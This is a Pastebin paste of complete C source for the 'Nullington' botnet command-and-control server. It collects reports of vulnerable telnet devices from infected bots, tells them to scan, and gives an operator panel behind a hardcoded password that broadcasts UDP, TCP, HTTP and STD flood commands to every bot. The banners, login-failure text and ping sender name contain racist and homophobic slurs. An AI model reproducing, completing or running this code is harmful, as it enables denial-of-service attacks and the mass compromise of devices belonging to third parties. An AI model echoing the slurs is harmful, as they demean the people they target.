AvengeVPS

Nullington Botnet Serverside

Mar 7th, 2018
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.26 KB | None | 0 0
  1. /*
  2. THIS IS THE OFFICIAL 'moist' CONNECTION HANDLER
  3. MODIFIED BY 'NFZB' MOST KNOW ME AS DADDY
  4. COUGH COUGH *Benz* ;) AN DONT FORGET IT
  5. */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <sys/epoll.h>
  16. #include <errno.h>
  17. #include <pthread.h>
  18. #include <signal.h>
  19.  
  20. ////////////////////////////////////
  21. #define MY_MGM_PORT 420 //we must have the best h4x so 1337 obv
  22. #define Hax_Password "BotNetter101" //Change hoho! to the password you want
  23. ////////////////////////////////////
  24. #define MAXFDS 1000000
  25.  
  26.  
  27. struct account {
  28. char id[20];
  29. char password[20];
  30. };
  31. static struct account accounts[10];
  32.  
  33. struct clientdata_t {
  34. uint32_t ip;
  35. char build[7];
  36. char connected;
  37. } clients[MAXFDS];
  38.  
  39. struct telnetdata_t {
  40. int connected;
  41. } managements[MAXFDS];
  42.  
  43.  
  44.  
  45. ////////////////////////////////////
  46.  
  47.  
  48. static volatile FILE *telFD;
  49. static volatile FILE *fileFD;
  50. static volatile int epollFD = 0;
  51. static volatile int listenFD = 0;
  52. static volatile int managesConnected = 0;
  53. static volatile int TELFound = 0;
  54. static volatile int scannerreport;
  55.  
  56.  
  57. ////////////////////////////////////
  58.  
  59.  
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  61. {
  62. int total = 0, got = 1;
  63. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64. return got;
  65. }
  66. void trim(char *str)
  67. {
  68. int i;
  69. int begin = 0;
  70. int end = strlen(str) - 1;
  71. while (isspace(str[begin])) begin++;
  72. while ((end >= begin) && isspace(str[end])) end--;
  73. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74. str[i - begin] = '\0';
  75. }
  76.  
  77.  
  78. static int make_socket_non_blocking (int sfd)
  79. {
  80. int flags, s;
  81. flags = fcntl (sfd, F_GETFL, 0);
  82. if (flags == -1)
  83. {
  84. perror ("fcntl");
  85. return -1;
  86. }
  87. flags |= O_NONBLOCK;
  88. s = fcntl (sfd, F_SETFL, flags);
  89. if (s == -1)
  90. {
  91. perror ("fcntl");
  92. return -1;
  93. }
  94. return 0;
  95. }
  96.  
  97.  
  98. static int create_and_bind (char *port)
  99. {
  100. struct addrinfo hints;
  101. struct addrinfo *result, *rp;
  102. int s, sfd;
  103. memset (&hints, 0, sizeof (struct addrinfo));
  104. hints.ai_family = AF_UNSPEC;
  105. hints.ai_socktype = SOCK_STREAM;
  106. hints.ai_flags = AI_PASSIVE;
  107. s = getaddrinfo (NULL, port, &hints, &result);
  108. if (s != 0)
  109. {
  110. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  111. return -1;
  112. }
  113. for (rp = result; rp != NULL; rp = rp->ai_next)
  114. {
  115. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  116. if (sfd == -1) continue;
  117. int yes = 1;
  118. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  119. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  120. if (s == 0)
  121. {
  122. break;
  123. }
  124. close (sfd);
  125. }
  126. if (rp == NULL)
  127. {
  128. fprintf (stderr, "Could not bind\n");
  129. return -1;
  130. }
  131. freeaddrinfo (result);
  132. return sfd;
  133. }
  134. void broadcast(char *msg, int us, char *sender)
  135. {
  136. int sendMGM = 1;
  137. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  138. char *wot = malloc(strlen(msg) + 10);
  139. memset(wot, 0, strlen(msg) + 10);
  140. strcpy(wot, msg);
  141. trim(wot);
  142. time_t rawtime;
  143. struct tm * timeinfo;
  144. time(&rawtime);
  145. timeinfo = localtime(&rawtime);
  146. char *timestamp = asctime(timeinfo);
  147. trim(timestamp);
  148. int i;
  149. for(i = 0; i < MAXFDS; i++)
  150. {
  151. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  152. if(sendMGM && managements[i].connected)
  153. {
  154. send(i, "\x1b[36m ", 7, MSG_NOSIGNAL);
  155. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  156. send(i, "\x1b[32m Said\x1b[31m: \x1b[35m", 23, MSG_NOSIGNAL);
  157. }
  158. printf("sent to fd: %d\n", i);
  159. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  160. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[34m-> \x1b[0m", 14, MSG_NOSIGNAL);
  161. else send(i, "\n", 1, MSG_NOSIGNAL);
  162. }
  163. free(wot);
  164. }
  165.  
  166. void *epollEventLoop(void *useless)
  167. {
  168. struct epoll_event event;
  169. struct epoll_event *events;
  170. int s;
  171. events = calloc (MAXFDS, sizeof event);
  172. while (1)
  173. {
  174. int n, i;
  175. n = epoll_wait (epollFD, events, MAXFDS, -1);
  176. for (i = 0; i < n; i++)
  177. {
  178. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  179. {
  180. clients[events[i].data.fd].connected = 0;
  181. close(events[i].data.fd);
  182. continue;
  183. }
  184. else if (listenFD == events[i].data.fd)
  185. {
  186. while (1)
  187. {
  188. struct sockaddr in_addr;
  189. socklen_t in_len;
  190. int infd, ipIndex;
  191.  
  192. in_len = sizeof in_addr;
  193. infd = accept (listenFD, &in_addr, &in_len);
  194. if (infd == -1)
  195. {
  196. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  197. else
  198. {
  199. perror ("accept");
  200. break;
  201. }
  202. }
  203.  
  204. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  205.  
  206. int dup = 0;
  207. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  208. {
  209. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  210.  
  211. if(clients[ipIndex].ip == clients[infd].ip)
  212. {
  213. dup = 1;
  214. break;
  215. }
  216. }
  217.  
  218. if(dup)
  219. {
  220. printf("DUP Client - Terminating\n");
  221. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  222. if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  223. close(infd);
  224. continue;
  225. }
  226.  
  227. s = make_socket_non_blocking (infd);
  228. if (s == -1) { close(infd); break; }
  229.  
  230. event.data.fd = infd;
  231. event.events = EPOLLIN | EPOLLET;
  232. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  233. if (s == -1)
  234. {
  235. perror ("epoll_ctl");
  236. close(infd);
  237. break;
  238. }
  239.  
  240. clients[infd].connected = 1;
  241. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  242.  
  243. }
  244. continue;
  245. }
  246. else
  247. {
  248. int thefd = events[i].data.fd;
  249. struct clientdata_t *client = &(clients[thefd]);
  250. int done = 0;
  251. client->connected = 1;
  252. while (1)
  253. {
  254. ssize_t count;
  255. char buf[2048];
  256. memset(buf, 0, sizeof buf);
  257.  
  258. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  259. {
  260. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  261. trim(buf);
  262. if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  263. {
  264. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  265. continue;
  266. }
  267. if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  268. {
  269. char *line = strstr(buf, "REPORT ") + 7;
  270. fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  271. fflush(telFD);
  272. TELFound++;
  273. continue;
  274. }
  275. if(strstr(buf, "PROBING") == buf)
  276. {
  277. char *line = strstr(buf, "PROBING");
  278. scannerreport = 1;
  279. continue;
  280. }
  281. if(strstr(buf, "REMOVING PROBE") == buf)
  282. {
  283. char *line = strstr(buf, "REMOVING PROBE");
  284. scannerreport = 0;
  285. continue;
  286. }
  287. if(strcmp(buf, "PONG") == 0)
  288. {
  289. continue;
  290. }
  291.  
  292. printf("buf: \"%s\"\n", buf);
  293. }
  294.  
  295. if (count == -1)
  296. {
  297. if (errno != EAGAIN)
  298. {
  299. done = 1;
  300. }
  301. break;
  302. }
  303. else if (count == 0)
  304. {
  305. done = 1;
  306. break;
  307. }
  308. }
  309.  
  310. if (done)
  311. {
  312. client->connected = 0;
  313. close(thefd);
  314. }
  315. }
  316. }
  317. }
  318. }
  319.  
  320. unsigned int clientsConnected()
  321. {
  322. int i = 0, total = 0;
  323. for(i = 0; i < MAXFDS; i++)
  324. {
  325. if(!clients[i].connected) continue;
  326. total++;
  327. }
  328.  
  329. return total;
  330. }
  331.  
  332. void *titleWriter(void *sock)
  333. {
  334. int thefd = (int)sock;
  335. char string[2048];
  336. while(1)
  337. {
  338. memset(string, 0, 2048);
  339. sprintf(string, "%c]0;Bots Counted: %d |-| !~Nullington HQ~! |-| Clients Online: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  340. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  341.  
  342. sleep(2);
  343. }
  344. }
  345.  
  346. int Search_in_File(char *str)
  347. {
  348. FILE *fp;
  349. int line_num = 0;
  350. int find_result = 0, find_line=0;
  351. char temp[512];
  352.  
  353. if((fp = fopen("login.txt", "r")) == NULL){
  354. return(-1);
  355. }
  356. while(fgets(temp, 512, fp) != NULL){
  357. if((strstr(temp, str)) != NULL){
  358. find_result++;
  359. find_line = line_num;
  360. }
  361. line_num++;
  362. }
  363. if(fp)
  364. fclose(fp);
  365.  
  366. if(find_result == 0)return 0;
  367.  
  368. return find_line;
  369. }
  370.  
  371. void *telnetWorker(void *sock)
  372. {
  373. char usernamez[80];
  374. int thefd = (int)sock;
  375. int find_line;
  376. managesConnected++;
  377. pthread_t title;
  378. char counter[2048];
  379. memset(counter, 0, 2048);
  380. char buf[2048];
  381. char* nickstring;
  382. char* username;
  383. char* password;
  384. memset(buf, 0, sizeof buf);
  385. char botnet[2048];
  386. memset(botnet, 0, 2048);
  387.  
  388. if(send(thefd, "\x1b[33malias:\x1b[36m ", 23, MSG_NOSIGNAL) == -1) goto end;
  389. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  390. trim(buf);
  391. sprintf(usernamez, buf);
  392. nickstring = ("%s", buf);
  393.  
  394. if(send(thefd, "\x1b[34mpassword:\x1b[30m ", 25, MSG_NOSIGNAL) == -1) goto end;
  395. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  396. trim(buf);
  397. if(strcmp(buf, Hax_Password) != 0) goto failed;
  398. memset(buf, 0, 2048);
  399. goto fak;
  400.  
  401. failed:
  402. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  403. if(send(thefd, "\x1b[36m*************************************\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  404. if(send(thefd, "\x1b[35m* INVALID PASSWORD *\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  405. if(send(thefd, "\x1b[35m* FUCK OFF FAGGOT, LOGGED *\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  406. if(send(thefd, "\x1b[36m*************************************\r\n", 45, MSG_NOSIGNAL) == -1) goto end;
  407. sleep(5);
  408. goto end;
  409. fak:
  410.  
  411. pthread_create(&title, NULL, &titleWriter, sock);
  412. char line1[80];
  413. char line2[80];
  414. char line3[80];
  415. char line4[80];
  416. char line5[80];
  417. char line6[80];
  418. char line7[80];
  419. char line8[80];
  420. char line9[80];
  421. char line10[80];
  422.  
  423. sprintf(line1, "\x1b[36m********************************************\r\n");
  424. sprintf(line2, "\x1b[32m* Welcome to Nullington HQ\r\n");
  425. sprintf(line3, "\x1b[33m* Were all the nulls come true\r\n");
  426. sprintf(line4, "\x1b[36m* Type \x1b[31mHELP\x1b[36m for \x1b[35mCOMMANDS\r\n");
  427. sprintf(line5, "\x1b[36m********************************************\r\n\x1b[31m");
  428.  
  429. sprintf(line6, "\x1b[35m********************************************\r\n");
  430. sprintf(line7, "\x1b[32m* Welcome to Nullington HQ\r\n");
  431. sprintf(line8, "\x1b[33m* Were all the nulls come true\r\n");
  432. sprintf(line9, "\x1b[35m* Type \x1b[31mHELP\x1b[35m for \x1b[36mCOMMANDS\r\n");
  433. sprintf(line10, "\x1b[35m********************************************\r\n\x1b[31m");
  434.  
  435. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(thefd, line3, strlen(line3), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(thefd, line4, strlen(line4), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(thefd, line5, strlen(line5), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(thefd, "\r\n\x1b[32m-> \x1b[0m", 15, MSG_NOSIGNAL) == -1) goto end;
  441. pthread_create(&title, NULL, &titleWriter, sock);
  442. managements[thefd].connected = 1;
  443.  
  444. while(fdgets(buf, sizeof buf, thefd) > 0)
  445. {
  446. if(strstr(buf, "STATUS"))
  447. {
  448. sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
  449. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  450. }
  451.  
  452. if(strstr(buf, "SHOW"))
  453. {
  454. sprintf(botnet, "\x1b[36mBots\x1b[32m: \x1b[35m%d \x1b[33m|\x1b[31m-\x1b[33m| \x1b[36mUsers\x1b[32m: \x1b[35m%d%c\x1b[37m\r\n", clientsConnected(), managesConnected);
  455. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  456. }
  457.  
  458. if(strstr(buf, "HELP"))
  459. {
  460. sprintf(botnet, "\x1b[32m-------\x1b[31m Commands \x1b[32m-------\x1b[37m\r\n");
  461. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  462. }
  463.  
  464. if(strstr(buf, "CRED"))
  465. {
  466. sprintf(botnet, "\x1b[32mCredits to Snickers, S/O To LiGhT\r\n");
  467. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  468. }
  469.  
  470. if(strstr(buf, "HELP"))
  471. {
  472. sprintf(botnet, "\x1b[37m!* UDP [\x1b[35mIP\x1b[37m] [\x1b[35mPort\x1b[37m] [\x1b[35mTime\x1b[37m] 32 0 10 -Attacks Target With a UDP Flood\r\n");
  473. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  474. }
  475.  
  476. if(strstr(buf, "HELP"))
  477. {
  478. sprintf(botnet, "\x1b[37m!* TCP [\x1b[35mIP\x1b[37m] [\x1b[35mPort\x1b[37m] [\x1b[35mTime\x1b[37m] 32 all 0 10 -Attacks Target With a TCP Flood\r\n");
  479. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  480. }
  481.  
  482. if(strstr(buf, "HELP"))
  483. {
  484. sprintf(botnet, "\x1b[37m!* HTTP [\x1b[35mURL\x1b[37m] [\x1b[35mTime\x1b[37m] -Attacks The Site With a HTTP Flood\r\n");
  485. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  486. }
  487.  
  488. if(strstr(buf, "HELP"))
  489. {
  490. sprintf(botnet, "\x1b[37m!* STD [\x1b[35mIP\x1b[37m] [\x1b[35mPort\x1b[37m] [\x1b[35mTime\x1b[37m] -Attacks The Target With a STD Flood\r\n");
  491. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  492. }
  493.  
  494. if(strstr(buf, "HELP"))
  495. {
  496. sprintf(botnet, "\x1b[37m!* SHOW -Shows the Bot and User count\r\n");
  497. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  498. }
  499.  
  500. if(strstr(buf, "HELP"))
  501. {
  502. sprintf(botnet, "\x1b[37m!* KILLATTK -Kill All Attacks\r\n");
  503. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  504. }
  505.  
  506. if(strstr(buf, "HELP"))
  507. {
  508. sprintf(botnet, "\x1b[37m!* CLEAR - Clears the screen\r\n");
  509. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  510. }
  511.  
  512. if(strstr(buf, "HELP"))
  513. {
  514. sprintf(botnet, "\r\n\x1b[37m");
  515. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  516. }
  517.  
  518. if(strstr(buf, "CREDITS"))
  519. {
  520. sprintf(botnet, "\x1b[31mModded By @OilDump, S/O To LiGhT\r\n");
  521. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  522. }
  523.  
  524. if(strstr(buf, "CLEAR"))
  525. {
  526. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  527. if(send(thefd, line6, strlen(line6), MSG_NOSIGNAL) == -1) goto end;
  528. if(send(thefd, line7, strlen(line7), MSG_NOSIGNAL) == -1) goto end;
  529. if(send(thefd, line8, strlen(line8), MSG_NOSIGNAL) == -1) goto end;
  530. if(send(thefd, line9, strlen(line9), MSG_NOSIGNAL) == -1) goto end;
  531. if(send(thefd, line10, strlen(line10), MSG_NOSIGNAL) == -1) goto end;
  532. pthread_create(&title, NULL, &titleWriter, sock);
  533. managements[thefd].connected = 1;
  534. }
  535.  
  536. trim(buf);
  537. if(send(thefd, "\x1b[32m-> \x1b[0m", 12, MSG_NOSIGNAL) == -1) goto end;
  538. if(strlen(buf) == 0) continue;
  539. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  540. FILE *logFile;
  541. logFile = fopen("server.log", "a");
  542. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  543. fclose(logFile);
  544. broadcast(buf, thefd, usernamez);
  545. memset(buf, 0, 2048);
  546. }
  547.  
  548. end: // cleanup dead socket
  549. managements[thefd].connected = 0;
  550. close(thefd);
  551. managesConnected--;
  552. }
  553.  
  554. void *telnetListener(void *useless)
  555. {
  556. int sockfd, newsockfd;
  557. socklen_t clilen;
  558. struct sockaddr_in serv_addr, cli_addr;
  559. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  560. if (sockfd < 0) perror("ERROR opening socket");
  561. bzero((char *) &serv_addr, sizeof(serv_addr));
  562. serv_addr.sin_family = AF_INET;
  563. serv_addr.sin_addr.s_addr = INADDR_ANY;
  564. serv_addr.sin_port = htons(MY_MGM_PORT);
  565. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  566. listen(sockfd,5);
  567. clilen = sizeof(cli_addr);
  568. while(1)
  569. {
  570. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  571. if (newsockfd < 0) perror("ERROR on accept");
  572. pthread_t thread;
  573. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  574. }
  575. }
  576.  
  577. int main (int argc, char *argv[], void *sock)
  578. {
  579. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  580.  
  581. int s, threads;
  582. struct epoll_event event;
  583.  
  584. printf("\x1b[33mScreening \x1b[35mhax \x1b[31mConnection \x1b[36mHandler\x1b[33m By \x1b[35mSnickers \x1b[32m- \x1b[33mEnjoy Faggot.\n");
  585. telFD = fopen("telnet.txt", "a+");
  586. threads = atoi(argv[2]);
  587.  
  588. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  589. if (listenFD == -1) abort ();
  590.  
  591. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  592. if (s == -1) abort ();
  593.  
  594. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  595. if (s == -1)
  596. {
  597. perror ("listen");
  598. abort ();
  599. }
  600.  
  601. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  602. if (epollFD == -1)
  603. {
  604. perror ("epoll_create");
  605. abort ();
  606. }
  607.  
  608. event.data.fd = listenFD;
  609. event.events = EPOLLIN | EPOLLET;
  610. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  611. if (s == -1)
  612. {
  613. perror ("epoll_ctl");
  614. abort ();
  615. }
  616.  
  617. pthread_t thread[threads + 2];
  618. while(threads--)
  619. {
  620. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  621. }
  622.  
  623. pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  624.  
  625. while(1)
  626. {
  627. broadcast("PING", -1, "NIGGER"); // ping bots every 60 sec on the main thread
  628. sleep(60);
  629. }
  630.  
  631. close (listenFD);
  632.  
  633. return EXIT_SUCCESS;
  634. }
Advertisement
Add Comment
Please, Sign In to add comment